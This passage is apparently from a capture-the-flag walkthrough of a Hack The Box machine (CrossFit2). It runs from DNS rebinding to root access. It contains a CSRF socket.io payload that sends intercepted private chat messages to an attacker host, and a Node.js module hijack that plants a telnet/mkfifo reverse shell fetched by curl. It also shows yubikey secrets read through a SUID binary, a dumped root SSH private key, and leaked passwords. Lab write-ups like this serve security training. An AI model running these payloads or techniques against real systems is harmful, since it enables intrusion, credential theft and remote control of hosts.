  [+] Running DNS Proxy for 10.10.14.28
  [-] (10:45:54) [*] Cooking A replies to point to 10.10.14.28 matching: fake-employees.crossfit.htb
  [-] (10:45:54) [*] Cooking A replies to point to 10.10.14.28 matching: crossfit-club.htb
  [1] (10:47:50) [*] 10.10.10.232: cooking the response of type 'A' for fake-employees.crossfit.htb to 10.10.14.28
  [2] (10:47:50) [*] 10.10.10.232: cooking the response of type 'A' for fake-employees.crossfit.htb to 10.10.14.28

The machine then made a request to the web server running on the attacker machine. The machine is looking for /password-reset.php from the local server based on the data intercepted via netcat:

GET /password-reset.php?token=45c7db497eca1bde4af563a37800a2fce311494bfb4f998701f3e806881841a2e4ce19a6033857384dbcde3fc9cd286b03517fe99d749b5d79825150a734a9f9 HTTP/1.1
Host: fake-employees.crossfit.htb
User-Agent: Mozilla/5.0 (X11; OpenBSD amd64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://crossfit-club.htb/
Upgrade-Insecure-Requests: 1

There are a few interesting things here from the intercepted HTTP request. First, a valid token has been leaked. However, when you attempt to use it to reset the password of david.palmer@crossfit.htb, you get the following response -- “We are sorry, but password reset has been temporarily disabled.”:

Another thing is that the referrer of the HTTP request came from http://crossfit-club.htb. Some user that is currently logged in to the service is clicking on the password reset links. This might be an opening for a CSRF (Cross-site Request Forgery) Attack.

3.6 CSRF (password-reset.php)

Looking at the page source of http://crossfit-club.htb, there are a bunch of javascript files embedded:

$ curl --silent http://crossfit-club.htb/login | tidy 2>/dev/null

  [..omitted..]
  <script src="/js/chunk-vendors~a2e3b7a8.add5cb47.js"></script>
  <script src="/js/chunk-vendors~ae3da056.9d253641.js"></script>
  <script src="/js/chunk-vendors~2a42e354.b6526da4.js"></script>
  <script src="/js/chunk-vendors~7274e1de.6b9d4dce.js"></script>
  <script src="/js/chunk-vendors~7d359b94.c5efd8b4.js"></script>
  <script src="/js/chunk-vendors~69ddfae0.eec560ca.js"></script>
  <script src="/js/chunk-vendors~f9ca8911.8262afb1.js"></script>
  <script src="/js/chunk-vendors~1c3a2c3f.e0a80b78.js"></script>
  <script src="/js/chunk-vendors~cfbf0a2e.c57c68ae.js"></script>
  <script src="/js/chunk-vendors~fdc6512a.317a5502.js"></script>
  <script src="/js/chunk-vendors~6ff199a4.cd7a889d.js"></script>
  <script src="/js/chunk-vendors~b06fff24.dad67692.js"></script>
  <script src="/js/chunk-vendors~456318af.4cb6d30a.js"></script>
  <script src="/js/chunk-vendors~b1f96ece.03d078ca.js"></script>
  <script src="/js/chunk-vendors~d2305125.72dc1ecf.js"></script>
  <script src="/js/chunk-vendors~4a7e9e0b.33fdc63f.js"></script>
  <script src="/js/chunk-vendors~03631906.67e21e66.js"></script>
  <script src="/js/chunk-vendors~b70f2fe9.15b78819.js"></script>
  <script src="/js/app~748942c6.ead68abe.js"></script>
  [..omitted..]

Reviewing /js/app~748942c6.ead68abe.js, it is apparent that the application was written using VueJS and the interesting thing here are the functions for the chat feature of the service:

[..omitted..]
components: {
    ChatWindow: ye.a
},
created() {
    let e = this;
    xe = Ce.a.connect("http://crossfit-club.htb", {
        transports: ["polling"]
    }), window.addEventListener("beforeunload", (function (t) {
        xe.emit("remove_user", {
            uid: e.currentUserId
        })
    })), xe.on("disconnect", e => {
        this.$router.replace("/login")
    }), xe.emit("user_join", {
        username: localStorage.getItem("user")
    }), xe.on("participants", e => {
        e && e.length && (this.rooms[0].users = e, this.renderUsers())
    }), xe.on("new_user", e => {
        e.username === localStorage.getItem("user") && (this.currentUserId = e._id, console.log(this.currentUserId))
    }), xe.on("recv_global", e => {
        this.addMessage(e)
    }), xe.on("private_recv", e => {
        this.addMessage(e)
    })
},
[..omitted..]

The xe object seems to be derived from socket.io given that there are emit() and connect() function calls. To add, socket.io is often integrated in VueJS applications when handling messaging features. This could be verified by checking the default path of socket.io:

$ curl -I -s http://crossfit-club.htb/socket.io/socket.io.js

  HTTP/1.1 200 OK
  Cache-Control: public, max-age=0
  Connection: keep-alive
  Connection: close
  Connection: close
  Content-Type: application/javascript
  Date: Sun, 25 Apr 2021 15:27:48 GMT
  ETag: "2.3.0"

The application indeed uses socket.io. Since the server now looks for /password-reset.php from the local web server, I can create one with a CSRF payload that will let me join a chat room and intercept the messages sent by other uses when triggered:

<html>
    <script src="http://crossfit-club.htb/socket.io/socket.io.js"></script>
    <script>
         var socket = io.connect("http://crossfit-club.htb");
         socket.emit("user_join", { username : "administrator" });
         socket.on("private_recv", (data) => {
            var xhr = new XMLHttpRequest();
            xhr.open("GET", "http://fake-employees.crossfit.htb/?x=" + JSON.stringify(data));
            xhr.send();
        });
    </script>
</html>

To use this, start a PHP web server running on port 80 where the created password-reset.php file is:

$ sudo php -S 0.0.0.0:80

Then run the DNS rebind exploit script again:

$ sudo ./dns_proxy.sh 10.10.14.28 new_unbound.conf

Looking back at the started PHP web server, messages inside the chat room are being intercepted:

[Sun Apr 25 11:42:35 2021] 10.10.10.232:13373 [200]: GET /password-reset.php?token=95288bcf0bd115fff72952c3b94c12e03e7fac0c03c5bd8b8421394b8c52718c6b51ab1bbab22b6dbd0dc2b096e03e454d0eb1cbe4f35da1d2bc58889e960042
[..omitted..]
[Sun Apr 25 11:42:36 2021] 10.10.10.232:16369 [404]: GET /favicon.ico - No such file or directory
[..omitted..]
[Sun Apr 25 11:43:04 2021] 10.10.10.232:26839 [404]: GET /?x={%22sender_id%22:15,%22content%22:%22Someone%20built%20a%20working%2016%20bit%20computer%20using%20nothing%20but%20the%20basic%20Minecraft%20building%20blocks.%20I%20wonder%20what%20kind%20warranty%20that%20one%20has?!%22,%22roomId%22:15,%22_id%22:759} - No such file or directory
[..omitted..]
[Sun Apr 25 11:43:44 2021] 10.10.10.232:38619 [404]: GET /?x={%22sender_id%22:2,%22content%22:%22Hello%20David,%20I%27ve%20added%20a%20user%20account%20for%20you%20with%20the%20password%20`NWBFcSe3ws4VDhTB`.%22,%22roomId%22:2,%22_id%22:760} - No such file or directory
[..omitted..]
[Sun Apr 25 11:43:55 2021] 10.10.10.232:31873 [404]: GET /?x={%22sender_id%22:15,%22content%22:%22I%20wonder%20if%20they%20still%20make%20computers%20that%20ran%20on%20water,%20not%20sure%20is%20the%20best%20idea%20to%20mix%20water%20with%20tech%22,%22roomId%22:15,%22_id%22:762} - No such file or directory
[..omitted..]

One particular message contains credentials for the user, david (password: NWBFcSe3ws4VDhTB):

{
    "Sender_id":2,
    "content":"Hello David, I've added a user account for you with the password `NWBFcSe3ws4VDhTB`.",
    "roomId":2,
    "_id":760
}

PART 4 : SHELL AS david

4.1 LOGGING IN AS david

Using the credentials found for the user, david, to login via SSH:

$ sshpass -p NWBFcSe3ws4VDhTB ssh -l david 10.10.10.232

crossfit2:david {1} id

  uid=1004(david) gid=1004(david) groups=1004(david), 1003(sysadmins)

crossfit2:david {2} ls -l

  total 4
  -r--------  1 david  david  33 Feb  2 15:34 user.txt

4.2 GROUP ENUMERATION

The current user, david, is a member of the sysadmins group as well as the user, john, which means that the contents of /opt/sysadmin are shared and writable by both users:

crossfit2:david {3} cat /etc/group | grep sysadmins

  sysadmins:*:1003:david,john

crossfit2:david {4} sh

crossfit2$ find / -group sysadmins -ls 2>/dev/null

  1244170    4 drwxrwxr-x    3 root     sysadmins      512 Feb  3 04:45 /opt/sysadmin

Checking for SUID binaries, there is one executable that can’t be run globally, /usr/local/bin/log, it belongs to the root user and the staff group wherein the user, john, is a member of:

crossfit2$ find / -user root -perm -4000 -type f -ls 2>/dev/null

  1425624   52 -r-sr-xr-x    3 root     bin         26552 Oct  5  2020 /usr/bin/chfn
  1425624   52 -r-sr-xr-x    3 root     bin         26552 Oct  5  2020 /usr/bin/chpass
  1425624   52 -r-sr-xr-x    3 root     bin         26552 Oct  5  2020 /usr/bin/chsh
  1425650   56 -r-sr-xr-x    1 root     bin         27464 Oct  5  2020 /usr/bin/doas
  1425715   60 -r-sr-sr-x    1 root     daemon      29936 Oct  5  2020 /usr/bin/lpr
  1425716   52 -r-sr-sr-x    1 root     daemon      24880 Oct  5  2020 /usr/bin/lprm
  1425743   44 -r-sr-xr-x    1 root     bin         20936 Oct  5  2020 /usr/bin/passwd
  1425809   36 -r-sr-xr-x    1 root     bin         17216 Oct  5  2020 /usr/bin/su
  1478072   20 -r-sr-xr-x    1 root     bin          8880 Oct  5  2020 /usr/libexec/lockspool
  1478095  960 -r-sr-xr-x    1 root     bin        466608 Oct  5  2020 /usr/libexec/ssh-keysign
  1481580   20 -rwsr-s---    1 root     staff        9024 Jan  5 13:04 /usr/local/bin/log
  1503426   48 -r-sr-sr-x    2 root     authpf      23000 Oct  5  2020 /usr/sbin/authpf
  1503426   48 -r-sr-sr-x    2 root     authpf      23000 Oct  5  2020 /usr/sbin/authpf-noip
  1503506  288 -r-sr-x---    1 root     network    146208 Oct  5  2020 /usr/sbin/pppd
  1503559   64 -r-sr-xr-x    2 root     bin         32712 Oct  5  2020 /usr/sbin/traceroute
  1503559   64 -r-sr-xr-x    2 root     bin         32712 Oct  5  2020 /usr/sbin/traceroute6
  362927   736 -r-sr-xr-x    2 root     bin        356768 Oct  5  2020 /sbin/ping
  362927   736 -r-sr-xr-x    2 root     bin        356768 Oct  5  2020 /sbin/ping6
  362934   576 -r-sr-x---    1 root     operator   275928 Oct  5  2020 /sbin/shutdown

crossfit2$ cat /etc/group | grep staff

  staff:*:20:root,john

It seems that pivoting to the user john is needed in order to escalate privileges.

PART 5 : PIVOT (david -> john)

5.1 REVIEWING statbot.js

Examining the contents of /opt/sysadmin, there is a js file called statbot.js:

crossfit2$ find /opt/sysadmin -ls 2>/dev/null

  1244170    4 drwxrwxr-x    3 root     sysadmins     512 Feb  3 04:45 /opt/sysadmin
  1244174    4 drwxr-xr-x    3 root     wheel         512 Jan 13 14:34 /opt/sysadmin/server
  1244176    4 drwxrwxr-x    2 root     wheel         512 Jan 13 15:08 /opt/sysadmin/server/statbot
  1244161    4 -rw-r--r--    1 root     wheel         740 Jan 13 15:08 /opt/sysadmin/server/statbot/statbot.js

The contents of which seems to be a logger that checks whether the websocket is up or down :

const WebSocket = require('ws');
const fs = require('fs');
const logger = require('log-to-file');
const ws = new WebSocket("ws://gym.crossfit.htb/ws/");
function log(status, connect) {
  var message;
  if(status) {
    message = `Bot is alive`;
  }
  else {
    if(connect) {
      message = `Bot is down (failed to connect)`;
    }
    else {
      message = `Bot is down (failed to receive)`;
    }
  }
  logger(message, '/tmp/chatbot.log');
}
ws.on('error', function err() {
  ws.close();
  log(false, true);
})
ws.on('message', function message(data) {
  data = JSON.parse(data);
  try {
    if(data.status === "200") {
      ws.close()
      log(true, false);
    }
  }
  catch(err) {
      ws.close()
      log(false, false);
  }
});

5.2 NODEJS LIBRARY HIJACK

Given that this is in the /opt/sysadmin directory and the current user, david, has write permissions, maybe one of the required libraries by the javascript application could be hijacked.

Another thing to note, based on the generated file by statbot.js, the script seems to run every minute:

crossfit2$ cat /tmp/chatbot.log | tail -n 3

  2021.04.25, 16:16:01.0311 UTC -> Bot is alive
  2021.04.25, 16:17:01.0319 UTC -> Bot is alive
  2021.04.25, 16:18:01.0322 UTC -> Bot is alive

The first thing to do is to create an app.js file which contains a reverse shell that will replace the one on the required library such that the code will execute when statbot.js triggers:

const { exec } = require("child_process");
child = exec("(TF=$(mktemp -u); mkfifo $TF && telnet 10.10.14.2 6969 0<$TF | /bin/sh 1>$TF) &",
    function (error, stdout, stderr) {
        console.log('STDOUT: ' + stdout);
        console.log('STDERR: ' + stderr);
    }
);

Starting a listener on port 6969 using netcat:

$ nc -lvp 6969

Now setting everything up within the machine:

crossfit2$ find / -name log-to-file 2>/dev/null

  /usr/local/lib/node_modules/log-to-file

crossfit2$ mkdir /opt/sysadmin/node_modules

crossfit2$ cp -r /usr/local/lib/node_modules/log-to-file /opt/sysadmin/node_modules

crossfit2$ curl -s --output /opt/sysadmin/node_modules/log-to-file/app.js http://10.10.14.28/app.js

Going back to the netcat listener once statbot.js triggers:

connect to [10.10.14.28] from employees.crossfit.htb [10.10.10.232] 17696
id

  uid=1005(john) gid=1005(john) groups=1005(john), 20(staff), 1003(sysadmins)

PART 6 : PRIVILEGE ESCALATION

6.1 YUBIKEY ENUMERATION

The executable, /usr/local/bin/log, should now be executable via the user, john:

$ /usr/local/bin/log

  * LogReader v0.1

  [*] Usage: /usr/local/bin/log <log file to read>

It can’t read from the root directory but it can read files in from /var. Within /var/db, there is a yubikey directory which contains the config files for generating an OTP (One-Time Password).

How is this relevant? Upon checking the file, /etc/login.conf, authentication via SSH could be done using yubikey:

$ cat /etc/login.conf | grep yubikey

           :auth-ssh=yubikey:\

Using /usr/local/bin/log to read the yubikey configuration files:

$ /usr/local/bin/log /var/db/yubikey/root.ctr

  [..omitted..]

  985089

$ /usr/local/bin/log /var/db/yubikey/root.key

  [..omitted..]

  6bf9a26475388ce998988b67eaa2ea87

$ /usr/local/bin/log /var/db/yubikey/root.uid

  [..omitted..]

  a4ce1128bde4

Now to use the exfiltrated values to generate an OTP back in the local machine:

$ wget https://developers.yubico.com/yubico-c/Releases/libyubikey-1.13.tar.gz
$ gzip -d libyubikey-1.13.tar.gz
$ tar xvf libyubikey-1.13.tar
$ cd libyubikey-1.13
$ ./configure
$ make check
$ sudo make install
$ ./ykgenerate 6bf9a26475388ce998988b67eaa2ea87 a4ce1128bde4 $(printf "%x" 985089 | cut -c1-4) c0a8 00 10

  bdbivrkdufttjgfnvucnbfjbclbdjggv

Attempting to login via SSH as root generates an error message that authentication requires a public key:

$ ssh -l root 10.10.10.232

  root@10.10.10.232: Permission denied (publickey).

6.2 OpenBSD changelist

Since reading from inside the /root directory is prohibited using /usr/local/bin/log, I eventually came across the documentation of changelist for OpenBSD:

For example, the system shell database, /etc/shells, is held as /var/backups/etc_shells.current. When this file is modified, it is renamed to /var/backups/etc_shells.backup and the new version becomes /var/backups/etc_shells.current. Thereafter, these files are rotated.

So if the root SSH private key is backed up from /root/.ssh/idrsa, based on the changelist documentation, it should be in /var/backups/root.ssh_id_rsa.current. Verifying this:

$ /usr/local/bin/log /var/backups/root_.ssh_id_rsa.current

  [..omitted..]

  -----BEGIN OPENSSH PRIVATE KEY-----
  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
  -----END OPENSSH PRIVATE KEY-----

6.3 LOGGING IN AS root

The RSA private key indeed exists in /var/backups. Now using this private key to login via SSH and using a generated token from yubikey as a password:

$ ssh -i root.id_rsa -l root 10.10.10.232

  root@10.10.10.232's password: kfevvdkigjneetugkbfuihvedhnjfnej

crossfit2# id

  uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)

crossfit2# ls -l root.txt

 -r--------  1 root  wheel  33 Feb  2 15:35 root.txt

The box has now been rooted.

Last updated